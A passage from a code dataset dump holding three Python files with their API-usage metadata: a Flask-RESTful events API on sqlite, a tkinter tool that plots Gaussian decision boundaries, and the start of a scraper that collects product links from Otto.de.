"usage_type": "call"}, {"api_name": "os.path.join", "line_number": 39, "usage_type": "call"}, {"api_name": "os.path", "line_number": 39, "usage_type": "attribute"}, {"api_name": "numpy.uint8", "line_number": 40, "usage_type": "attribute"}, {"api_name": "numpy.array", "line_number": 41, "usage_type": "call"}, {"api_name": "numpy.append", "line_number": 50, "usage_type": "call"}, {"api_name": "numpy.save", "line_number": 54, "usage_type": "call"}, {"api_name": "os.listdir", "line_number": 68, "usage_type": "call"}, {"api_name": "os.path.exists", "line_number": 71, "usage_type": "call"}, {"api_name": "os.path", "line_number": 71, "usage_type": "attribute"}, {"api_name": "os.listdir", "line_number": 73, "usage_type": "call"}, {"api_name": "skimage.io.imread", "line_number": 76, "usage_type": "call"}, {"api_name": "numpy.uint16", "line_number": 77, "usage_type": "attribute"}, {"api_name": "numpy.array", "line_number": 78, "usage_type": "call"}, {"api_name": "numpy.append", "line_number": 88, "usage_type": "call"}, {"api_name": "numpy.save", "line_number": 91, "usage_type": "call"}, {"api_name": "os.listdir", "line_number": 98, "usage_type": "call"}, {"api_name": "numpy.ndarray", "line_number": 101, "usage_type": "call"}, {"api_name": "numpy.uint8", "line_number": 101, "usage_type": "attribute"}, {"api_name": "numpy.ndarray", "line_number": 102, "usage_type": "call"}, {"api_name": "numpy.uint8", "line_number": 102, "usage_type": "attribute"}, {"api_name": "os.listdir", "line_number": 107, "usage_type": "call"}, {"api_name": "os.path.isdir", "line_number": 108, "usage_type": "call"}, {"api_name": "os.path", "line_number": 108, "usage_type": "attribute"}, {"api_name": "os.path.exists", "line_number": 114, "usage_type": "call"}, {"api_name": "os.path", "line_number": 114, "usage_type": "attribute"}, {"api_name": "os.listdir", "line_number": 116, "usage_type": "call"}, {"api_name": "skimage.io.imread", "line_number": 119, "usage_type": "call"}, {"api_name": "numpy.uint16", "line_number": 120, "usage_type": "attribute"}, {"api_name": "numpy.array", "line_number": 121, "usage_type": "call"}, {"api_name": "numpy.append", "line_number": 131, "usage_type": "call"}, {"api_name": "numpy.save", "line_number": 134, "usage_type": "call"}, {"api_name": "numpy.expand_dims", "line_number": 140, "usage_type": "call"}, {"api_name": "numpy.squeeze", "line_number": 145, "usage_type": "call"}]} {"seq_id": "66114017", "text": "from flask_restful import Resource, reqparse\r\nfrom flask_jwt import jwt_required\r\nimport sqlite3\r\n\r\n\r\nclass Event(Resource):\r\n TABLE_NAME = 'events'\r\n\r\n parser = reqparse.RequestParser()\r\n # Add argument date\r\n parser.add_argument('name',\r\n type=str,\r\n required=True,\r\n help=\"This field cannot be left blank!\"\r\n )\r\n parser.add_argument('date',\r\n type=str,\r\n required=True,\r\n help=\"This field cannot be left blank!\"\r\n )\r\n\r\n parser.add_argument('lieu',\r\n type=str,\r\n required=True,\r\n help=\"This field cannot be left blank!\"\r\n )\r\n\r\n parser.add_argument('objet',\r\n type=str,\r\n required=True,\r\n help=\"This field cannot be left blank!\"\r\n )\r\n\r\n\r\n @jwt_required()\r\n def get(self, name):\r\n event = self.find_by_name(name)\r\n if event:\r\n return event\r\n return {'message': 'Event not found'}, 404\r\n\r\n @classmethod\r\n def find_by_name(cls, name):\r\n #Find an event by its name\r\n connection = sqlite3.connect('data.db')\r\n cursor = connection.cursor()\r\n\r\n query = \"SELECT * FROM {table} WHERE name=?\".format(table=cls.TABLE_NAME)\r\n result = cursor.execute(query, (name,))\r\n row = result.fetchone()\r\n connection.close()\r\n\r\n if row:\r\n return {'event': {'name': row[0], 'date': row[1], 'lieu': row[2]}}\r\n\r\n def post(self, name):\r\n if self.find_by_name(name):\r\n return {'message': \"An event with name '{}' already exists.\".format(name)}\r\n\r\n data = Event.parser.parse_args()\r\n\r\n event = {'name': name, 'date': data['date'], 'lieu': data['lieu'], 'objet': data['objet'] }\r\n\r\n try:\r\n Event.insert(event)\r\n except:\r\n return {\"message\": \"An error occurred inserting the event.\"}\r\n\r\n return event\r\n\r\n @classmethod\r\n def insert(cls, event):\r\n connection = sqlite3.connect('data.db')\r\n cursor = connection.cursor()\r\n\r\n query = \"INSERT INTO {table} VALUES(?, ?, ?, ?)\".format(table=cls.TABLE_NAME)\r\n cursor.execute(query, (event['name'], event['date'], event['lieu'], event['objet']))\r\n\r\n connection.commit()\r\n connection.close()\r\n\r\n @jwt_required()\r\n def delete(self, name):\r\n connection = sqlite3.connect('data.db')\r\n cursor = connection.cursor()\r\n\r\n query = \"DELETE FROM {table} WHERE name=?\".format(table=self.TABLE_NAME)\r\n cursor.execute(query, (name,))\r\n\r\n connection.commit()\r\n connection.close()\r\n\r\n return {'message': 'Event deleted'}\r\n\r\n @jwt_required()\r\n def put(self, name):\r\n data = Event.parser.parse_args()\r\n event = self.find_by_name(name)\r\n updated_event = {'name': name, 'date': data['date'], 'lieu': ['lieu'], 'objet': ['objet']}\r\n if event is None:\r\n try:\r\n Event.insert(updated_event)\r\n except:\r\n return {\"message\": \"An error occurred inserting the event.\"}\r\n else:\r\n try:\r\n Event.update(updated_event)\r\n except:\r\n raise\r\n return {\"message\": \"An error occurred updating the event.\"}\r\n return updated_event\r\n\r\n @classmethod\r\n def update(cls, event):\r\n connection = sqlite3.connect('data.db')\r\n cursor = connection.cursor()\r\n\r\n query = \"UPDATE {table} SET date=? WHERE name=?\".format(table=cls.TABLE_NAME)\r\n cursor.execute(query, (event['date'], event['name']))\r\n\r\n connection.commit()\r\n connection.close()\r\n\r\n\r\nclass EventList(Resource):\r\n TABLE_NAME = 'events'\r\n\r\n def get(self):\r\n connection = sqlite3.connect('data.db')\r\n cursor = connection.cursor()\r\n\r\n query = \"SELECT * FROM {table}\".format(table=self.TABLE_NAME)\r\n result = cursor.execute(query)\r\n events = []\r\n for row in result:\r\n events.append({'name': row[0], 'date': row[1], 'lieu': row[2], 'objet': row[3]})\r\n connection.close()\r\n\r\n return {'events': events, 'status': 'SUCCESS'}", "sub_path": "server/event.py", "file_name": "event.py", "file_ext": "py", "file_size_in_byte": 4129, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "57", "api": [{"api_name": "flask_restful.Resource", "line_number": 6, "usage_type": "name"}, {"api_name": "flask_restful.reqparse.RequestParser", "line_number": 9, "usage_type": "call"}, {"api_name": "flask_restful.reqparse", "line_number": 9, "usage_type": "name"}, {"api_name": "flask_jwt.jwt_required", "line_number": 35, "usage_type": "call"}, {"api_name": "sqlite3.connect", "line_number": 45, "usage_type": "call"}, {"api_name": "sqlite3.connect", "line_number": 73, "usage_type": "call"}, {"api_name": "sqlite3.connect", "line_number": 84, "usage_type": "call"}, {"api_name": "flask_jwt.jwt_required", "line_number": 82, "usage_type": "call"}, {"api_name": "flask_jwt.jwt_required", "line_number": 95, "usage_type": "call"}, {"api_name": "sqlite3.connect", "line_number": 115, "usage_type": "call"}, {"api_name": "flask_restful.Resource", "line_number": 125, "usage_type": "name"}, {"api_name": "sqlite3.connect", "line_number": 129, "usage_type": "call"}]} {"seq_id": "190716168", "text": "# GaussianDecisionBoundaries.py\n#\n# Draws the decision boundary between two Gaussian distributions according to the\n# Maximum a Posteriori criterium. You can change the a priori probabilities, the\n# mean vectors and covariance matrices. You can also show the difference between\n# the two Probability Densidty Functions (PDFs) and display contours of the original\n# PDFs.\n#\n# TODO\n# - adjust axis limits depending on the Gaussian parameters\n# - clean up and simplify the code\n#\n# (C) 2017 Giampiero Salvi <giampi@kth.se>\nimport tkinter as tk\nimport tkinter.ttk as ttk\nfrom tkinter import font\nimport numpy as np\nimport matplotlib.pyplot as plt\nfrom scipy.stats import multivariate_normal\nfrom matplotlib.backends.backend_tkagg import FigureCanvasTkAgg\nfrom matplotlib.colors import LogNorm\nfrom tkinter import messagebox\n#import matplotlib.backends.backend_tkagg as tkagg\n\ndef about():\n aboutText = \"GaussianDecisionBoundaries.py\\n\\n(C) 2017 Giampiero Salvi\\n\\nDraws the decision boundary between two Gaussian distributions according to the Maximum a Posteriori criterion. You can change the a priori probabilities, the mean vectors and covariance matrices. You can also show the difference between the two Probability Densidty Functions (PDFs) and display contours of the original PDFs.\\n\\nSource code at: https://github.com/giampierosalvi/GaussianDecisionBoundaries\"\n messagebox.showinfo(\"About\", aboutText)\n\ndef redraw(fig):\n # acquie Gaussian parameters\n p = np.array([float(p1.get()), 1.0-float(p1.get())])\n mu1 = np.array([float(mu1x.get()), float(mu1y.get())])\n mu2 = np.array([float(mu2x.get()), float(mu2y.get())])\n s1 = np.array([[float(s1x.get()), float(s1xy.get())],\n [float(s1xy.get()), float(s1y.get())]])\n s2 = np.array([[float(s2x.get()), float(s2xy.get())],\n [float(s2xy.get()), float(s2y.get())]])\n # greate Multivariate Gaussian objects\n try:\n rv1 = multivariate_normal(mu1, s1)\n except ValueError:\n messagebox.showerror(\"Error!\", \"Covariance matrix must be positive semidefinite (Gaussian 1)\")\n try:\n rv2 = multivariate_normal(mu2, s2)\n except ValueError:\n messagebox.showerror(\"Error!\", \"Covariance matrix must be positive semidefinite (Gaussian 2)\")\n # Compute PDF for a certain range of x and y\n xlim = [float(xmin.get()), float(xmax.get())]\n ylim = [float(ymin.get()), float(ymax.get())]\n x, y = np.mgrid[xlim[0]:xlim[1]:(xlim[1]-xlim[0])/500.0, ylim[0]:ylim[1]:(ylim[1]-ylim[0])/500.0]\n pos = np.dstack((x, y))\n rv1g = p[0]*rv1.pdf(pos)\n rv2g = p[1]*rv2.pdf(pos)\n sum12 = rv1g+rv2g\n post1 = np.divide(rv1g, sum12)\n post2 = np.divide(rv2g, sum12)\n fig.clf()\n #plt.set_cmap('seismic')\n ax = fig.add_subplot(111)\n # plot Decision Boundary or Difference of PDFs\n plotType = drawType.get()\n if plotType == 'Decision Boundary':\n ax.imshow((post1>post2).T, origin='lower', extent=[xlim[0], xlim[1], ylim[0], ylim[1]], cmap='bwr')\n fig.suptitle(plotType)\n elif plotType == 'PDF difference':\n maxdata = np.max(np.abs(rv1g-rv2g))\n cax = ax.imshow((rv1g-rv2g).T, origin='lower', extent=[xlim[0], xlim[1], ylim[0], ylim[1]], cmap='Spectral_r', vmin=-maxdata, vmax=maxdata)\n fig.colorbar(cax)\n fig.suptitle('P(1)p(x|1) - P(2)p(x|2)')\n elif plotType == 'Posterior difference':\n maxdata = np.max(np.abs(post1-post2))\n cax = ax.imshow((post1-post2).T, origin='lower', extent=[xlim[0], xlim[1], ylim[0], ylim[1]], cmap='Spectral_r', vmin=-maxdata, vmax=maxdata)\n fig.colorbar(cax)\n fig.suptitle('P(1|x) - P(2|x)')\n else:\n messagebox.showerror(\"Error!\", \"Plot type not supported\")\n ax.text(mu1[0], mu1[1], '+', color='white', horizontalalignment='center', verticalalignment='center')\n ax.text(mu2[0], mu2[1], 'o', color='white', horizontalalignment='center', verticalalignment='center')\n ax.set_xlabel('x')\n ax.set_ylabel('y')\n # plot contours for each PDF\n if drawPDFContour.get():\n ax.contour(x, y, rv1g, colors='w')\n ax.contour(x, y, rv2g, colors='w')\n #plt.contour(x, y, rv1g.reshape(x.shape), norm=LogNorm(vmin=1.0, vmax=40.0),levels=np.logspace(0, 3, 10))\n #plt.contour(x, y, rv2g.reshape(x.shape), norm=LogNorm(vmin=1.0, vmax=40.0),levels=np.logspace(0, 3, 10))\n canvas.draw()\n\nroot = tk.Tk()\nroot.title(\"Gaussian Decision Boundaries\")\n# set default font size\ndefaultFont = font.nametofont(\"TkDefaultFont\")\ndefaultFont.configure(family=\"helvetica\", size=14)\n\n# Gaussian distribution parameters\np1 = tk.StringVar()\nmu1x = tk.StringVar()\nmu1y = tk.StringVar()\ns1x = tk.StringVar()\ns1y = tk.StringVar()\ns1xy = tk.StringVar()\np2 = tk.StringVar()\nmu2x = tk.StringVar()\nmu2y = tk.StringVar()\ns2x = tk.StringVar()\ns2y = tk.StringVar()\ns2xy = tk.StringVar()\n\n# drawing parameters\ndrawType = tk.StringVar()\ndrawPDFContour = tk.BooleanVar()\nxmin = tk.StringVar()\nxmax = tk.StringVar()\nymin = tk.StringVar()\nymax = tk.StringVar()\n\n# set default values\ndef reset():\n p1.set('0.5')\n mu1x.set('-1.0')\n mu1y.set('-1.0')\n s1x.set('1.0')\n s1y.set('1.0')\n s1xy.set('0.0')\n p2.set('0.5')\n mu2x.set('1.0')\n mu2y.set('1.0')\n s2x.set('1.0')\n s2y.set('1.0')\n s2xy.set('0.0')\n drawType.set('Decision Boundary')\n drawPDFContour.set(True)\n xmin.set(\"-1.5\")\n xmax.set(\"1.5\")\n ymin.set(\"-1.5\")\n ymax.set(\"1.5\")\n\nreset()\n \n# create control widgets\nentryWidth=5\ncontrolFrame = ttk.Frame(root)\ngaussianFrame = ttk.Frame(controlFrame)\ngaussian1Frame = ttk.LabelFrame(gaussianFrame, text='Gaussian 1')\np1W = ttk.Entry(gaussian1Frame, textvariable=p1, width=entryWidth, font=defaultFont)\nmu1xW = ttk.Entry(gaussian1Frame, textvariable=mu1x, width=entryWidth, font=defaultFont)\nmu1yW = ttk.Entry(gaussian1Frame, textvariable=mu1y, width=entryWidth, font=defaultFont)\ns1xW = ttk.Entry(gaussian1Frame, textvariable=s1x, width=entryWidth, font=defaultFont)\ns1yW = ttk.Entry(gaussian1Frame, textvariable=s1y, width=entryWidth, font=defaultFont)\ns1xyW = ttk.Entry(gaussian1Frame, textvariable=s1xy, width=entryWidth, font=defaultFont)\ns1yxW = ttk.Entry(gaussian1Frame, textvariable=s1xy, width=entryWidth, font=defaultFont)\ngaussian2Frame = ttk.LabelFrame(gaussianFrame, text='Gaussian 2')\np2W = ttk.Label(gaussian2Frame, text='1-p1')\nmu2xW = ttk.Entry(gaussian2Frame, textvariable=mu2x, width=entryWidth, font=defaultFont)\nmu2yW = ttk.Entry(gaussian2Frame, textvariable=mu2y, width=entryWidth, font=defaultFont)\ns2xW = ttk.Entry(gaussian2Frame, textvariable=s2x, width=entryWidth, font=defaultFont)\ns2yW = ttk.Entry(gaussian2Frame, textvariable=s2y, width=entryWidth, font=defaultFont)\ns2xyW = ttk.Entry(gaussian2Frame, textvariable=s2xy, width=entryWidth, font=defaultFont)\ns2yxW = ttk.Entry(gaussian2Frame, textvariable=s2xy, width=entryWidth, font=defaultFont)\ndrawingFrame = ttk.LabelFrame(controlFrame, text='Drawing')\ndrawTypeW = ttk.Combobox(drawingFrame, textvariable=drawType, font=defaultFont)\ndrawTypeW['values'] = ('Decision Boundary', 'PDF difference', 'Posterior difference')\ndrawPDFContourW = ttk.Checkbutton(drawingFrame, text=\"Draw PDF Contours\", variable=drawPDFContour)\nxlimFrame = ttk.Frame(drawingFrame)\nxlimL = ttk.Label(xlimFrame, text='xlim')\nxminW = ttk.Entry(xlimFrame, textvariable=xmin, width=entryWidth, font=defaultFont)\nxmaxW = ttk.Entry(xlimFrame, textvariable=xmax, width=entryWidth, font=defaultFont)\nylimFrame = ttk.Frame(drawingFrame)\nylimL = ttk.Label(ylimFrame, text='ylim')\nyminW = ttk.Entry(ylimFrame, textvariable=ymin, width=entryWidth, font=defaultFont)\nymaxW = ttk.Entry(ylimFrame, textvariable=ymax, width=entryWidth, font=defaultFont)\nredrawButton = ttk.Button(drawingFrame, text=\"Redraw\", command=lambda: redraw(fig))\naboutButton = ttk.Button(controlFrame, text=\"About...\", command=about)\nresetButton = ttk.Button(controlFrame, text=\"Reset\", command=reset)\n\n# place widgets within gaussian1Frame\ngaussian1Frame.grid(column=0, row=0, columnspan=2, rowspan=6)\np1L = ttk.Label(gaussian1Frame, text='p1')\np1L.grid(row=0, column=0)\np1W.grid(row=0, column=1)\nmu1L = ttk.Label(gaussian1Frame, text='mean1')\nmu1L.grid(row=1, column=0, columnspan=2)\nmu1xW.grid(row=2, column=0)\nmu1yW.grid(row=2, column=1)\ns1L = ttk.Label(gaussian1Frame, text='cov1')\ns1L.grid(row=3, column=0, columnspan=2)\ns1xW.grid(row=4, column=0)\ns1xyW.grid(row=4, column=1)\ns1yxW.grid(row=5, column=0)\ns1yW.grid(row=5, column=1)\n\n# place widgets within gaussian2Frame\ngaussian2Frame.grid(column=0, row=0, columnspan=2, rowspan=6)\np2L = ttk.Label(gaussian2Frame, text='p2 = 1-p1')\np2L.grid(row=0, column=0, columnspan=2)\nmu2L = ttk.Label(gaussian2Frame, text='mean2')\nmu2L.grid(row=1, column=0, columnspan=2)\nmu2xW.grid(row=2, column=0)\nmu2yW.grid(row=2, column=1)\ns2L = ttk.Label(gaussian2Frame, text='cov2')\ns2L.grid(row=3, column=0, columnspan=2)\ns2xW.grid(row=4, column=0)\ns2xyW.grid(row=4, column=1)\ns2yxW.grid(row=5, column=0)\ns2yW.grid(row=5, column=1)\n\n# place widgets within drawing frame\ndrawTypeW.pack(side=\"top\")\ndrawPDFContourW.pack(side=\"top\")\nxlimL.pack(side=\"left\")\nxminW.pack(side=\"left\")\nxmaxW.pack(side=\"left\")\nxlimFrame.pack(side=\"top\")\nylimL.pack(side=\"left\")\nyminW.pack(side=\"left\")\nymaxW.pack(side=\"left\")\nylimFrame.pack(side=\"top\")\nredrawButton.pack(side=\"top\")\n\n# place Gaussian frames within gaussianFrame\ngaussian1Frame.pack(side=\"left\")\ngaussian2Frame.pack(side=\"left\")\n\n# place gfame and drawing frame within controlFrame\naboutButton.pack(side=\"top\")\nresetButton.pack(side=\"top\")\ngaussianFrame.pack(side=\"top\")\ndrawingFrame.pack(side=\"top\")\n\ncontrolFrame.pack(side=\"left\")\n\nfigureFrame = tk.Frame(root)\nfig = plt.Figure()\ncanvas = FigureCanvasTkAgg(fig, master=root)\n#tkagg.NavigationToolbar2TkAgg(canvas, root)\ncanvas.show()\ncanvas.get_tk_widget().pack(side='top', fill='both', expand=1)\nfigureFrame.pack()\nredraw(fig)\nroot.mainloop()\n", "sub_path": "GaussianDecisionBoundaries.py", "file_name": "GaussianDecisionBoundaries.py", "file_ext": "py", "file_size_in_byte": 9796, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "59", "api": [{"api_name": "tkinter.messagebox.showinfo", "line_number": 27, "usage_type": "call"}, {"api_name": "tkinter.messagebox", "line_number": 27, "usage_type": "name"}, {"api_name": "numpy.array", "line_number": 31, "usage_type": "call"}, {"api_name": "numpy.array", "line_number": 32, "usage_type": "call"}, {"api_name": "numpy.array", "line_number": 33, "usage_type": "call"}, {"api_name": "numpy.array", "line_number": 34, "usage_type": "call"}, {"api_name": "numpy.array", "line_number": 36, "usage_type": "call"}, {"api_name": "scipy.stats.multivariate_normal", "line_number": 40, "usage_type": "call"}, {"api_name": "tkinter.messagebox.showerror", "line_number": 42, "usage_type": "call"}, {"api_name": "tkinter.messagebox", "line_number": 42, "usage_type": "name"}, {"api_name": "scipy.stats.multivariate_normal", "line_number": 44, "usage_type": "call"}, {"api_name": "tkinter.messagebox.showerror", "line_number": 46, "usage_type": "call"}, {"api_name": "tkinter.messagebox", "line_number": 46, "usage_type": "name"}, {"api_name": "numpy.mgrid", "line_number": 50, "usage_type": "attribute"}, {"api_name": "numpy.dstack", "line_number": 51, "usage_type": "call"}, {"api_name": "numpy.divide", "line_number": 55, "usage_type": "call"}, {"api_name": "numpy.divide", "line_number": 56, "usage_type": "call"}, {"api_name": "numpy.max", "line_number": 66, "usage_type": "call"}, {"api_name": "numpy.abs", "line_number": 66, "usage_type": "call"}, {"api_name": "numpy.max", "line_number": 71, "usage_type": "call"}, {"api_name": "numpy.abs", "line_number": 71, "usage_type": "call"}, {"api_name": "tkinter.messagebox.showerror", "line_number": 76, "usage_type": "call"}, {"api_name": "tkinter.messagebox", "line_number": 76, "usage_type": "name"}, {"api_name": "tkinter.Tk", "line_number": 89, "usage_type": "call"}, {"api_name": "tkinter.font.nametofont", "line_number": 92, "usage_type": "call"}, {"api_name": "tkinter.font", "line_number": 92, "usage_type": "name"}, {"api_name": "tkinter.StringVar", "line_number": 96, "usage_type": "call"}, {"api_name": "tkinter.StringVar", "line_number": 97, "usage_type": "call"}, {"api_name": "tkinter.StringVar", "line_number": 98, "usage_type": "call"}, {"api_name": "tkinter.StringVar", "line_number": 99, "usage_type": "call"}, {"api_name": "tkinter.StringVar", "line_number": 100, "usage_type": "call"}, {"api_name": "tkinter.StringVar", "line_number": 101, "usage_type": "call"}, {"api_name": "tkinter.StringVar", "line_number": 102, "usage_type": "call"}, {"api_name": "tkinter.StringVar", "line_number": 103, "usage_type": "call"}, {"api_name": "tkinter.StringVar", "line_number": 104, "usage_type": "call"}, {"api_name": "tkinter.StringVar", "line_number": 105, "usage_type": "call"}, {"api_name": "tkinter.StringVar", "line_number": 106, "usage_type": "call"}, {"api_name": "tkinter.StringVar", "line_number": 107, "usage_type": "call"}, {"api_name": "tkinter.StringVar", "line_number": 110, "usage_type": "call"}, {"api_name": "tkinter.BooleanVar", "line_number": 111, "usage_type": "call"}, {"api_name": "tkinter.StringVar", "line_number": 112, "usage_type": "call"}, {"api_name": "tkinter.StringVar", "line_number": 113, "usage_type": "call"}, {"api_name": "tkinter.StringVar", "line_number": 114, "usage_type": "call"}, {"api_name": "tkinter.StringVar", "line_number": 115, "usage_type": "call"}, {"api_name": "tkinter.ttk.Frame", "line_number": 142, "usage_type": "call"}, {"api_name": "tkinter.ttk", "line_number": 142, "usage_type": "name"}, {"api_name": "tkinter.ttk.Frame", "line_number": 143, "usage_type": "call"}, {"api_name": "tkinter.ttk", "line_number": 143, "usage_type": "name"}, {"api_name": "tkinter.ttk.LabelFrame", "line_number": 144, "usage_type": "call"}, {"api_name": "tkinter.ttk", "line_number": 144, "usage_type": "name"}, {"api_name": "tkinter.ttk.Entry", "line_number": 145, "usage_type": "call"}, {"api_name": "tkinter.ttk", "line_number": 145, "usage_type": "name"}, {"api_name": "tkinter.ttk.Entry", "line_number": 146, "usage_type": "call"}, {"api_name": "tkinter.ttk", "line_number": 146, "usage_type": "name"}, {"api_name": "tkinter.ttk.Entry", "line_number": 147, "usage_type": "call"}, {"api_name": "tkinter.ttk", "line_number": 147, "usage_type": "name"}, {"api_name": "tkinter.ttk.Entry", "line_number": 148, "usage_type": "call"}, {"api_name": "tkinter.ttk", "line_number": 148, "usage_type": "name"}, {"api_name": "tkinter.ttk.Entry", "line_number": 149, "usage_type": "call"}, {"api_name": "tkinter.ttk", "line_number": 149, "usage_type": "name"}, {"api_name": "tkinter.ttk.Entry", "line_number": 150, "usage_type": "call"}, {"api_name": "tkinter.ttk", "line_number": 150, "usage_type": "name"}, {"api_name": "tkinter.ttk.Entry", "line_number": 151, "usage_type": "call"}, {"api_name": "tkinter.ttk", "line_number": 151, "usage_type": "name"}, {"api_name": "tkinter.ttk.LabelFrame", "line_number": 152, "usage_type": "call"}, {"api_name": "tkinter.ttk", "line_number": 152, "usage_type": "name"}, {"api_name": "tkinter.ttk.Label", "line_number": 153, "usage_type": "call"}, {"api_name": "tkinter.ttk", "line_number": 153, "usage_type": "name"}, {"api_name": "tkinter.ttk.Entry", "line_number": 154, "usage_type": "call"}, {"api_name": "tkinter.ttk", "line_number": 154, "usage_type": "name"}, {"api_name": "tkinter.ttk.Entry", "line_number": 155, "usage_type": "call"}, {"api_name": "tkinter.ttk", "line_number": 155, "usage_type": "name"}, {"api_name": "tkinter.ttk.Entry", "line_number": 156, "usage_type": "call"}, {"api_name": "tkinter.ttk", "line_number": 156, "usage_type": "name"}, {"api_name": "tkinter.ttk.Entry", "line_number": 157, "usage_type": "call"}, {"api_name": "tkinter.ttk", "line_number": 157, "usage_type": "name"}, {"api_name": "tkinter.ttk.Entry", "line_number": 158, "usage_type": "call"}, {"api_name": "tkinter.ttk", "line_number": 158, "usage_type": "name"}, {"api_name": "tkinter.ttk.Entry", "line_number": 159, "usage_type": "call"}, {"api_name": "tkinter.ttk", "line_number": 159, "usage_type": "name"}, {"api_name": "tkinter.ttk.LabelFrame", "line_number": 160, "usage_type": "call"}, {"api_name": "tkinter.ttk", "line_number": 160, "usage_type": "name"}, {"api_name": "tkinter.ttk.Combobox", "line_number": 161, "usage_type": "call"}, {"api_name": "tkinter.ttk", "line_number": 161, "usage_type": "name"}, {"api_name": "tkinter.ttk.Checkbutton", "line_number": 163, "usage_type": "call"}, {"api_name": "tkinter.ttk", "line_number": 163, "usage_type": "name"}, {"api_name": "tkinter.ttk.Frame", "line_number": 164, "usage_type": "call"}, {"api_name": "tkinter.ttk", "line_number": 164, "usage_type": "name"}, {"api_name": "tkinter.ttk.Label", "line_number": 165, "usage_type": "call"}, {"api_name": "tkinter.ttk", "line_number": 165, "usage_type": "name"}, {"api_name": "tkinter.ttk.Entry", "line_number": 166, "usage_type": "call"}, {"api_name": "tkinter.ttk", "line_number": 166, "usage_type": "name"}, {"api_name": "tkinter.ttk.Entry", "line_number": 167, "usage_type": "call"}, {"api_name": "tkinter.ttk", "line_number": 167, "usage_type": "name"}, {"api_name": "tkinter.ttk.Frame", "line_number": 168, "usage_type": "call"}, {"api_name": "tkinter.ttk", "line_number": 168, "usage_type": "name"}, {"api_name": "tkinter.ttk.Label", "line_number": 169, "usage_type": "call"}, {"api_name": "tkinter.ttk", "line_number": 169, "usage_type": "name"}, {"api_name": "tkinter.ttk.Entry", "line_number": 170, "usage_type": "call"}, {"api_name": "tkinter.ttk", "line_number": 170, "usage_type": "name"}, {"api_name": "tkinter.ttk.Entry", "line_number": 171, "usage_type": "call"}, {"api_name": "tkinter.ttk", "line_number": 171, "usage_type": "name"}, {"api_name": "tkinter.ttk.Button", "line_number": 172, "usage_type": "call"}, {"api_name": "tkinter.ttk", "line_number": 172, "usage_type": "name"}, {"api_name": "tkinter.ttk.Button", "line_number": 173, "usage_type": "call"}, {"api_name": "tkinter.ttk", "line_number": 173, "usage_type": "name"}, {"api_name": "tkinter.ttk.Button", "line_number": 174, "usage_type": "call"}, {"api_name": "tkinter.ttk", "line_number": 174, "usage_type": "name"}, {"api_name": "tkinter.ttk.Label", "line_number": 178, "usage_type": "call"}, {"api_name": "tkinter.ttk", "line_number": 178, "usage_type": "name"}, {"api_name": "tkinter.ttk.Label", "line_number": 181, "usage_type": "call"}, {"api_name": "tkinter.ttk", "line_number": 181, "usage_type": "name"}, {"api_name": "tkinter.ttk.Label", "line_number": 185, "usage_type": "call"}, {"api_name": "tkinter.ttk", "line_number": 185, "usage_type": "name"}, {"api_name": "tkinter.ttk.Label", "line_number": 194, "usage_type": "call"}, {"api_name": "tkinter.ttk", "line_number": 194, "usage_type": "name"}, {"api_name": "tkinter.ttk.Label", "line_number": 196, "usage_type": "call"}, {"api_name": "tkinter.ttk", "line_number": 196, "usage_type": "name"}, {"api_name": "tkinter.ttk.Label", "line_number": 200, "usage_type": "call"}, {"api_name": "tkinter.ttk", "line_number": 200, "usage_type": "name"}, {"api_name": "tkinter.Frame", "line_number": 232, "usage_type": "call"}, {"api_name": "matplotlib.pyplot.Figure", "line_number": 233, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 233, "usage_type": "name"}, {"api_name": "matplotlib.backends.backend_tkagg.FigureCanvasTkAgg", "line_number": 234, "usage_type": "call"}]} {"seq_id": "389833527", "text": "# Otto-Grabber - Grabbs Products from Otto.de\n#\n# Creation: 30.09.2019\n# Last Update: 04.10.2019\n#\n#\n# MIT License\n#\n# Copyright (c) 2019 by PiereLucas\n# https://github.com/pierelucas\n#\n# Permission is hereby granted, free of charge, to any person obtaining a copy\n# of this software and associated documentation files (the \"Software\"), to deal\n# in the Software without restriction, including without limitation the rights\n# to use, copy, modify, merge, publish, distribute, sublicense, and/or sell\n# copies of the Software, and to permit persons to whom the Software is\n# furnished to do so, subject to the following conditions:\n#\n# The above copyright notice and this permission notice shall be included in all\n# copies or substantial portions of the Software.\n#\n# THE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR\n# IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,\n# FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE\n# AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER\n# LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,\n# OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE\n# SOFTWARE.\n\n#\n# Module\n#\nimport requests, os, subprocess, re\nfrom bs4 import BeautifulSoup\n\n#\n# Output\n#\ndef out():\n\n subprocess.call(\"clear\", shell=True)\n\n print(\"\"\"\n This tool is for scarping new Base_URLS and save to csv.\n After that, just copy the new URLS in the grabby.py\n \n [1] Multimedia\n [2] Haushalt\n [3] Kueche\n [0] Exit\n \"\"\")\n\n#\n# Grab Function\n#\ndef grab(url, sec):\n # Open file\n if os.path.exists(\"new_urls_\" + sec):\n subprocess.call(\"rm -rf new_urls_\" + sec, shell=True)\n os.mkdir(\"new_urls\" + sec)\n new_urls = open(\"new_urls_\" + sec + \"/new_urls.csv\", 'wt')\n else:\n os.mkdir(\"new_urls\" + sec)\n new_urls = open(\"new_urls_\" + sec + \"/new_urls.csv\", 'wt')\n\n # Parse URL to get new_urls\n url = requests.get(url)\n urltext = url.text\n urlsoup = BeautifulSoup(urltext, 'html.parser')\n\n url_list = urlsoup.find_all('a', 'href', class_=\"ts-link\")\n for item in url_list:\n item = str(item)\n url_list_item = re.findall(\"href=\\\".*\\\"\", item)\n\n for item in url_list_item:\n # Regex\n link = re.sub(\"href=\\\"\", \"\", item)\n link = re.sub(\"><span.*\", \"\", link)\n link = re.sub(\"\\\"\", \"\", link)\n link = re.sub(\"\\?selektion\", \"\", link)\n link = re.sub(\"target=.*\", \"\", link)\n link = re.sub(\"/shoppages.*\", \"\", link)\n link = re.sub(\"/user.*\", \"\", link)\n link = re.sub(\"/reblog.*\", \"\", link)\n link = 